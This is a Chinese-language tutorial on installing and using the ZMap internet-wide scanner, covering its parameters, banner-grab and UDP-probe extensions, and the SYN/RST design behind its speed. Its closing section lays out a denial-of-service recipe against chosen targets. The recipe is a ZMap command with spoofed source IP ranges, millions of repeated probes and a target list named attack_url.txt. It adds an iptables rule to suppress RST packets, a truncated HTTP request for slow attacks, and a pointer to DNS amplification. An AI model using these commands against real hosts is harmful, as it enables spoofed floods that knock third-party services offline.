背景

Zmap是美国密歇根大学研究者开发出一款工具。在第22届USENIX安全研讨会,以超过nmap 1300倍的扫描速度声名鹊起。相比大名鼎鼎的nmap全网扫描速度是他最大的亮点。在千兆网卡状态下,45分钟内扫描全网络IPv4地址。


安装

64位版本

Debian/Ubuntu 系列


Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt
Step2: wget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz
Step3: tar –zxvf v1.0.3.tar.gz
Step4: cd zmap-1.0.3/src
Step5: make && make install 


32版本 (zmap 主页只说适用于64位linux,这里用BT5r3 32位同样安装成功,建议还是尽量选用64版本的)

Debian/Ubuntu 系列


Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt
Step2: git clone git://github.com/zmap/zmap.git
Step3: tar –zxvf v1.0.2.tar.gz
Step4: cd zmap-1.0.2/src
Step5: make && make install 


Fedora, Red Hat Enterprise Linux, or CentOS版本:

只把step1替换成


sudo yum install gmp gmp-devel libpcap-devel gengetopt 


如果想使用 redis用来存储则需要首先安装 Hiredis,并在step5中


make REDIS=true   (加入此安装选项) 


不是以root权限运行则需要配置:


setcap cap_net_raw=ep /usr/local/sbin/zmap 



使用介绍:


安装完后,可直接调用zmap

1.最简单的调用


zmap -B 10M -p 80 -n 100000 -o results.txt 


-B 是指的是带宽 -p 端口 -n 扫描多少个目标 -o 输出结果

整句表示利用10M带宽扫描100000IP地址的端口,并将结果输出到results.txt中。

我BT5 R3 测试时,必须加入-G 参数


zmap -B 10M -p 80 -n 100000 -G "01:00:5e:00:00:02" -o results.txt 


-G 是指定出口的mac地址,必须为网关的实际mac地址,否则返回数据找不到信息。

如果扫到IP地址开了80端口,就会按照下列格式进行保存。


115.237.116.119
23.9.117.80
207.118.204.141
217.120.143.111 


2.用的最多的指令


zmap -p 443 -G "00:00:00:00:00:00" 


检测全网络SSL/STL使用状况,ZMAP几个研究项目都与此有关。  

enter image description here

可见我使用的扫描全网的所得大约9小时16分钟,网络为10MADSL带宽,ADSL上行速度只有100k左右,导致时间加倍延迟。

3.常用参数


-p, --target-port=port 


指定扫描的目标端口


-o, --output-file=name 


把结果写入指定文件 -o result.txt


-b, --blacklist-file=path 


IP地址黑名单,例如192.168.0.0/16 表示 192.168.x.x将不被扫描,默认提供一份 RFC 1918保留和内网地址供参考,存放位置在conf/blacklist.conf

zmap -p 443 -G "00:00:00:00:00:00" -b  conf/blacklist.conf

-n, --max-targets=n 


最大扫描IP地址数量,-n 100 表示总归扫描100个IP地址。也可指定 –n 0.1%形式,表示扫描除去黑名单列表里面全网段的0.1%数量的IP地址。


-N, --max-results=n 


最大扫描到结果的IP数量,-N 100 表示扫描到100个存在的结果就停止。


-t, --max-runtime=secs 


最大扫描时间,-t 10 表示程序运行10s结束。


-r, --rate=pps 


设置每秒发送包的数量 –r 10000 表示每秒发送10k个包。


-B, --bandwidth=bps 


设置每秒发送包的大小,-B 10M 表示每秒发送10Mbps 支持单位(GMK)。


-c, --cooldown-time=secs 


设置数据包发送完之后多长时间开始接受数据(response),默认8s,TCP连接异步接受。


-e, --seed=n 


设置扫描随机地址的顺序,C语言中的伪随机种子,指定 定值每次随机扫描的IP地址顺序是一样。


-T, --sender-threads=n 


设置扫描线程。默认是1,经测试单线程基本是把网络带宽充分利用。


-P, --probes=n 


设置往每个IP发送包的数量,默认为1。(DDOS的参数之一)。


-d, --dryrun 


打印出每个包的内容,非常实用的功能。


-s, --source-port=port|range 


设置扫描的源端口,可指定范围 –s 30000-50000。(DDOS的参数之一)。


-S, --source-ip=ip|range 


设置扫描的源IP地址,可指定范围-S 100.100.0.1-200.200.200.200(DDOS的参数之一)。


-G, --gateway-mac=addr 


设置网关的mac地址,可伪造。(DDOS的参数之一)


-M, --probe-module=name 


设置扫描模式,参数tcp_synscan(默认),icmp_echoscan(ping扫描),udp(测试速度要逊于前两个),这里可自定义自己的模块,ZMAP作者后续会增加例如自定义UDP payload 的选项。(`*udp_send_msg = “GET / HTTP/1.1

“; // Must be null-terminated`)源码里不可直接更改 (1.0.3版本加入UDP Data Probes可进行自定义)


-O, --output-module=name 


设置结果输出模块,参数simple_file(默认),extended_file。

Simple_file 模式如下


115.237.116.119
23.9.117.80
207.118.204.141
217.120.143.111 


Extended File模式如下


response, saddr, daddr, sport, dport, seq, ack, in_cooldown, is_repeat, timestamp
synack, 159.174.153.144, 10.0.0.9, 80, 40555, 3050964427, 3515084203, 0, 0,2013-08-15 18:55:47.681 


扫描模块和输出模块都提供了API ,可自己根据需要添加功能。


--quiet 


安静状态下运行,不把进度信息打印到屏幕上


--summary 


输出结果汇总,对研究人员来说 非常有帮助。

0×02 三个额外的扩展应用


Banner Grab

抓取指纹,简言之抓取response 为识别类似SSH,http 401之类的信息做准备。

这里 examples / banner-grab 目录下

首先 make 生成banner-grab-tcp

向http-req 文件写入要发送的数据 (也可以自定义SSH-req 之类)

如:


echo -e -n "GET / HTTP/1.1
Host: %s

" > http-req 


(%s 保留,其他可任意构造HTTP请求,包括GET,POST)

这里扩展下 banner-grab-tcp下的参数


-c, --concurent   每次的连接数,最好低于1000,想要高于1000则必须设置ulimit -SSn 1000000` and `ulimit -SHn 1000000` 突破每个文件最大进程数1024
-p, --port      连接的端口
-t, --conn-timeout  连接超时时间
-r, --read-timeout  响应超时时间
-v, --verbosity     列取信息详细程度 ,与sqlmap 类似
-f, --format        输出文件格式hex,ascii,base64
-d, --data      发送的数据信息 就是前面设置http-req 


源码里 #define MAX_BANNER_LEN 1024 接收的每条返回数据,只接收1024字节,根据需要可自行更改。

与zmap 联合使用

例子


zmap -p 80 -N 1000 -o - | ./banner-grab-tcp -p 80 -c 100 -d http-req > http-banners.out 


zmap扫描1000个80端口开放的IP地址,banner-grab-tcp 来扫描这些IP地址,扫描请求内容通过http-req可自定义 .

forge-socket

与Banner Grab功能一样,参数也类似,不再重复。

主要是安装方式不同

要先安装下列驱动


git clone git@github.com:ewust/forge_socket.git
cd forge_socket
make
sudo insmod forge_socket.ko(以底层驱动方式 Banner Grab效率高一些) 


并且用iptables阻止发rst包


iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP 


UDP Data Probes

1.03版本加入

详细的测试payload见

https://github.com/zmap/zmap/tree/master/examples/udp-probes

以探测mssql的1434端口为例:


zmap -M udp -p 1434 --probe-args=file:examples/udp-probes/mssql_1434.pkt 


pkt也可自行构造。

格式化配置

利用配置文件 简化命令行输入


interface "eth1"
source-ip 1.1.1.4-1.1.1.8
gateway-mac b4:23:f9:28:fa:2d # upstream gateway
cooldown-time 300 # seconds
blacklist-file /etc/zmap/blacklist.conf
output-file ~/zmap-output
quiet
summary 


上述指令上面全部有介绍。

很显然,可以通过配置文件更快速配置zmap.

使用方法:


zmap --config=~/.zmap.conf --target-port=443 


0×03 原理分析


Know it

首先讲下TCP三次握手。

在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。

enter image description here

可见三次握手存在于发送-应答-发送机制,等待监听的时间势必导致发包速度很慢。

这里zmap是发送SYN,随后发送RST(重置连接),不存在监听同步操作,清空连接,再继续发下一个数据包。 而对于识别 zmap把 Ip地址和端口做了类似hash表一样的映射,当数据包返回时(可能是Syn+Ack,也可能RST),取出返回数据包里Ip和端口地址进行储存的hash表里查询,并对应处理记录。 同步变异步高效的基本原因。

0×04 发散扩展


DDoS的可行性:

作者旨在关注全网的扫描,并未提及相关DDoS 的信息。

也并未特别提供指向型发包的指令。

下面讨论可能与作者想法相违,希望各位重在技术钻研,而非一些恶意破坏。

指定ip段 和ip地址


-w, --whitelist-file=path 


限制只扫描文件中的下列地址或者地址段,例如:


222.222.221.82/24 192.168.1.0-255 )(可利用种子 seed 调整从那个IP开始) 


单个Ip地址

222.222.221.82/32  (随机找了一个,这里1.02版本测试不能直接,需要改 blacklist.c和constraint.c 中生成IP地址的二叉树的root节点一小部分代码) 

然后利用

-P  10000000 (重复多次发包) -s  2000-60000 (设置一个大的端口段) -S  20.20.20.0-200.200.200.200(随机大量Ip地址,模拟分布式的D-G  这个伪造mac (但是收不到数据包) Zmapp 80 -P 10000000 -s 2000-60000 -S 20.20.20.0-200.200.200.200 -w attack_url.txt 

见下列发送的数据效果,达到预期

enter image description here

可能造成什么样的危害?

可以配置IP Spoofing,syn flood,land attack, ICMP floods, Application floods 和其他UDP 全零等多种攻击。

Zmap 的发包速度甚至可以忽略一下 随后发的这个rst 包。

也可以做得完美一点就是利用iptables

iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP 

把发出去的RST包给drop掉。

可以再升一下?

毕竟有部分扩展能控制到应用层也是可以进行慢攻击。

Get 类型

echo -e -n "GET / HTTP/1.1\r\nHost: %s\r\n\r\n" > http-req  替换成 echo -e -n "GET / HTTP/1.1\r\nHost: %s\r\n\ " > http-req 

Post 类型

可以把源码sizeof(value) 的值设置一个大的动态数值。 Post数据设置很小。

DDoS 流量 +连接数 +畸形包

流量基本只能硬防,拼硬件。

zmap几乎是最大限度利用网络带宽,10台G口服务器不会损耗多少,如果再利用DNS放大流量之类,很恐怖的数字。


Ps :

Zmap 某些方面和python 的scapy很像。

但zmap 纯C实现,比scapy效率要高一些。

以前老是纠结scapy 随后发送RST 问题,这里利用iptables 方式确实是个好方法。

参考其中的源码和相对规范的API接口,编写一些模块可以玩出很多花样。

LINK:

https://zmap.io/documentation.html

https://github.com/zmap/